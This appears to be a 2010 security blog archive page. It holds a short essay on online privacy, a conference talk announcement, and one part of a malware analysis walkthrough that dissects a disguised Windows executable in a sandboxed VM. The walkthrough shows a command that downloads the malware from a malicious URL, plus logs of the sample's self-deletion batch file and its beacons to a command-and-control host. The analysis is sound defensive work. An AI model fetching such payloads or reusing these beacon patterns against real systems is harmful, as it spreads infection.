Archive for the ‘Uncategorized’ Category

‘Miranda Rights’ for the Internet

Wednesday, October 20th, 2010

I posted this some time ago in a different forum and was recently asked to repost it here, and I’m happy to get it a wider audience. I think this is important for everyone and equally relevant for any internet user, be they high school students, parents, or yes, we software professionals. There’s plenty more to be said on everything contained below, but I hope a degree of succinctness will set off the core ideas.

~PST

——————————————

I. You have the right to remain silent.

You do not need to blog. You do not need to “Reply to this post.” You
do not need to Get MySpace, and you do not need to Facebook Me. If you
say nothing, the blogosphere will not deflate and strangers on
message boards will not miss your advice. If you say nothing, the
internet will not notice.

II. Anything you say can and will be used against you in the court of public opinion.

Nothing on the internet is private. Your real name, your AIM handle,
your livejournal, and the email address you had in high school are all
out there for anyone who cares to look. Just because you don’t know
how to find it doesn’t mean it can’t be found. The internet has a very
long memory. You should be willing to bet that it’s longer than yours.
Anyone you meet could know things about you that you have forgotten
you ever said. Speak slowly and carefully… there are a lot of people
listening.

III. You have the responsibility to be skeptical about everything; if you lack the ability to do so, find someone who will do so on your behalf.

The internet is not a library. The internet is not a newspaper. The
internet is a cacophonous bazaar of peddlers, kooks, and unruly
children sharing the same advertisement littered street corner as
politicians, scientists and parents. There are no signposts that
announce when you’re in the wrong part of town, and no one is going to
tell you when you’re being lied to or misled. An open and  skeptical
mind and a sense of personal responsibility are the rules of the road;
no shirt, no shoes, no service.

Mostly Ready for BlackHat & Defcon

Monday, July 26th, 2010

As everyone’s gearing up for the madness this week, I thought I’d join in. I’ll be giving talks at both BlackHat and Defcon on some of my recent work in webapp fingerprinting.

At BlackHat: (Wed 7/28, 1515) BlindElephant: Web Application Fingerprinting with Static Files

At Defcon: (Fri 7/30, 1400) Web Application Fingerprinting with Static Files

The Defcon talk is essentially a shorter, more technically focused version of the BH talk. Links to code available here after the talk!

I’ve been sorting through the massive amount of content on display over the next week, and the various posts others have made on what they intend to catch have been useful. Here’s some of my “want to see” list (I actually found there’s usually at least two presentations I really want to see in each timeslot, but I gotta choose):

Wednesday:

I’m kinda bummed I’m at 1515 because I actually really wanted to catch Arshan Dabirsiaghi:
JavaSnoop: How to Hack Anything Written in Java.

Thursday:

And finally, my coworker Rami is going to be giving the details on the malware detection he built. He’s modest about the underlying techniques, but the full system is pretty cool. Do check it out.

I hope to get to BSides for at least a while, and I haven’t even figured out what I’m going to catch at Defcon (somehow it seems less amenable to planning than Black Hat)

If you’ll be be around, look me up! As usual, email or @coffeetocode on Twitter.

Malware Analysis Walking Tour (The Payload)

Monday, March 8th, 2010

If you’re just tuning in, this is the third post in a series. Check out the beginning of the Malware Analysis Walking Tour to see how we got here.

Also, if you’re doing this for anything other than your own edification, there are *much* faster ways to go about many of these steps. Wes Brown of IO Active recently gave an excellent talk on his malware analysis toolkit at BSides SF.

The Payload

Someone went to a lot of trouble to get this SgwAg.exe on the machine. The question is why: Spam? Porn? Advertising? Botnet?

First off, we’ll need a copy of the exe. Since none of the nasty bits of the exploit code actually ran on the linux machine, we’ll have to go fetch the exe manually. We saw the url for it in the decoded exploit code, so we can grab it easily enough:

$ wgetasie -O SgwAg.exe.INFECTED http://nevpizdy-nenyznie50domain.in/feedback.php?page=1
[]
2010-01-04 19:19:37 (63.2 KB/s) - 'SgwAg.exe.INFECTED' saved [84992/84992]
$ file SgwAg.exe.INFECTED
SgwAg.exe.INFECTED: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Here I used the file command for a quick check that I did indeed get a Windows executable back. One step that’s quick and easy is to simply dump the strings in the file. Sometimes this tells us nothing, sometimes it tells us a lot.

$ strings SgwAg.exe.INFECTED | more
[...]
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> 
<assemblyIdentity 
    version="1.0.0.0" 
    processorArchitecture="X86" 
    name="Sandboxie" 
    type="win32" 
<description>Sandboxie</description> 
[...]

Hmmm… it is, was, contains, or is meant to look like something called “Sandboxie”. Looking at the properties on my Windows VM seems to back this up.

Well, that’s just too weird to pass up. Ordinarily at this point I’d be deciding on whether to deadlist in IDA or step through it in OllyDbg, but if some part of this malware is actually borrowed code then we stand to learn a lot by checking out what functionality is being ripped off.

I found the Sandboxie site and grabbed the release indicated by the PE version info (3.26) and install it on a VM, then take an md5 sum of Start.exe (from the official Sandboxie release), and the malware SgwAg.exe.

$ md5sum Start.exe SgwAg.exe.INFECTED
70c8e29228870ae7d5da6f457b9b395d  Start.exe
39990427da35c7625764c0e6f262a299  SgwAg.exe.INFECTED

Okay, so they’re not actually the same piece of code. No info about why the malware looks like Sandboxie, but hopefully that will become evident later. Just in case, I run both of them through the Binary Diffing Suite; there are a lot of changes, too many to list. I also put them through BinDiff in IDA to see if there’s any parts that are actually the same.

Only two functions “match” in name/parameter hueristics, but a quick glance at the graph view shows that these are red herrings. The yellow nodes with red outlines in the callgraph are ones that match no nodes in the other, supposedly similar, function. So, this malware was just supposed to look like Sandboxie Start.exe from the outside.

Since I don’t think there’s much more I can learn by staring at the surface of the file, it’s again time to make the decision: run or read? I can put the exe in a disposable environment, run it, and debug/profile it, or disassemble it and see what find. I’ve done a lot of the “running it” approach, so I look at IDA Pro to see what the code has to say. Checking what functions are imported and what functions are defined is an informative first step.

Awesome. I see socket(), bind(), and listen(), the three bad boys of becoming a server. Since I’m not much of a windows programmer, other than that nothing rings a bell and it’s time to read up on the rest of these functions and see what else this binary is equipped to do. The other problem is that while these functions are imported, they’re not actually used anywhere. That and some huge swaths of bytes that IDA didn’t recognize as instructions or data stinks of more packed or encoded/polymorphic code.

I run PEiD on the binary to see if it recognizes any common packer; nothing is identified. Oh well, it was worth a try.

[TODO – Finish writing SgwAg analysis; unpacking routine and antidebugging]

We’ve put it off long enough; it’s time to run this sucker. I copy the file over to a test VM and prepare to run it:

  • Switch the VMWare guest to HostOnly networking
  • Take a filesystem and registry snapshot using InstallWatch Pro
  • Snapshot the VM
  • Run Wireshark on the VMWare host so we can see anything that the malware attempts to connect to
  • Run a fake DNS to resolve all names to the VM Host
  • Run a fake HTTP server on the VM Host to log and respond to all requests
  • Start ProcMon and filter out activity that will flood the logs

Double click and… the file disappears. Hmm, that was anticlimactic. Did it do anything before erasing itself? I stop ProcMon and save the full logs, then filter for anything done by SgwAg.exe, and save again. The log shows that it was very busy indeed; a bit over 2000 logged actions before it exited, and several process creations.

We look through this and see that it’s doing a number of things, including reading out large chunks of itself.

ReadFile	C:\binaries_for_analysis\SgwAg.exe	SUCCESS	Offset: 2,560, Length: 1,024
ReadFile	C:\binaries_for_analysis\SgwAg.exe	SUCCESS	Offset: 1,024, Length: 1,536
ReadFile	C:\binaries_for_analysis\SgwAg.exe	SUCCESS	Offset: 4,096, Length: 16,384
ReadFile	C:\binaries_for_analysis\SgwAg.exe	SUCCESS	Offset: 20,480, Length: 16,384
[...and later...]
CreateFile	C:\WINDOWS\packycfg.dll	SUCCESS	OpenResult: Created
WriteFile	C:\WINDOWS\packycfg.dll	SUCCESS	Offset: 0, Length: 35,328
CloseFile	C:\WINDOWS\packycfg.dll	SUCCESS

Now, it could be a coincidence that the malware reads out four chunks of itself totaling 35,328 bytes, then writes out a brand new 35,328 byte file, but I’m going to go with “highly unlikely”. We’ll have to get a copy of that and analyze it as well. However, that does save us time discovering and reversing the packing scheme that was used (since PEiD didn’t recognize it). Only one other file gets written:

WriteFile	C:\binaries_for_analysis\abcdefg.bat	SUCCESS	Offset: 0, Length: 50
[… and later …]
Process Create	C:\WINDOWS\system32\cmd.exe	SUCCESS	PID: 1152, Command line: cmd /c 	""C:\binaries_for_analysis\abcdefg.bat" "C:\binaries_for_analysis\SgwAg.exe""

This is a pretty standard pattern. If a binary wants to delete itself the usual approach is to write a batch file with instructions to delete it, then terminate, and let the batch file clean up. This particular flavor looped while checking if the second argument existed, trying to delete it each time.

While I’m saving logs from ProcMon and InstallWatch I notice that the dummy DNS and HTTP servers I set up are suddenly showing lots of requests.

pyminifakeDNS:: dom.query. 60 IN A 192.168.62.1
Respuesta: in.webstat44.com. -&gt; 192.168.62.1

The Fake DNS (from http://code.activestate.com/recipes/491264/) did its job; the malware requested resolution of “in.webstat44.com” and it got the IP of the VM host. It then makes some HTTP POST and GET requests.

DummyHTTP ready.
 
Saw POST request:
Content-Type: multipart/form-data; boundary=--------------------------cd4d11cd4d11cd4d11
User-Agent: IE
Host: in.webstat44.com
Content-Length: 317
Cache-Control: no-cache 
 
PTHOMAS-MALWARE - - [11/Jan/2010 16:34:49] "POST /cgi-bin/forms.cgi HTTP/1.1" 200 -
 
Saw GET request:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1; .NET4.0C; .NET4.0E)
Host: in.webstat44.com
Connection: Keep-Alive 
 
PTHOMAS-MALWARE - - [11/Jan/2010 16:34:54] "GET /cgi-bin/options.cgi?user_id=1426383534&amp;version_id=38&amp;passphrase=fkjvhsdvlksdhvlsd&amp;socks=0&amp;version=38&amp;crc=00000000 HTTP/1.1" 200 -
 
Saw GET request:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1; .NET4.0C; .NET4.0E)
Host: in.webstat44.com
Connection: Keep-Alive 
 
PTHOMAS-MALWARE - - [11/Jan/2010 16:35:08] "GET /cgi-bin/options.cgi?user_id=1426383534&amp;version_id=38&amp;passphrase=fkjvhsdvlksdhvlsd&amp;socks=0&amp;version=38&amp;crc=00000000 HTTP/1.1" 200 - 
 
[...many more of this request...]

Hmm, the exe took its sweet time there; from initial run (16:10:03) to first phone home (16:34:49) was a bit over 24 minutes. Some checks online show that “in.webstat44.com” was listed on various malware domain blacklists a while ago and has since gone offline. Cool; score one for the good guys. That leaves us with just the newly written packycfg.dll to analyze.

Okay then, we have what we need. I zip up all the logs, output, and packycfg and move them off the VM, then revert it to the snapshot.


Next Up: The Real Payload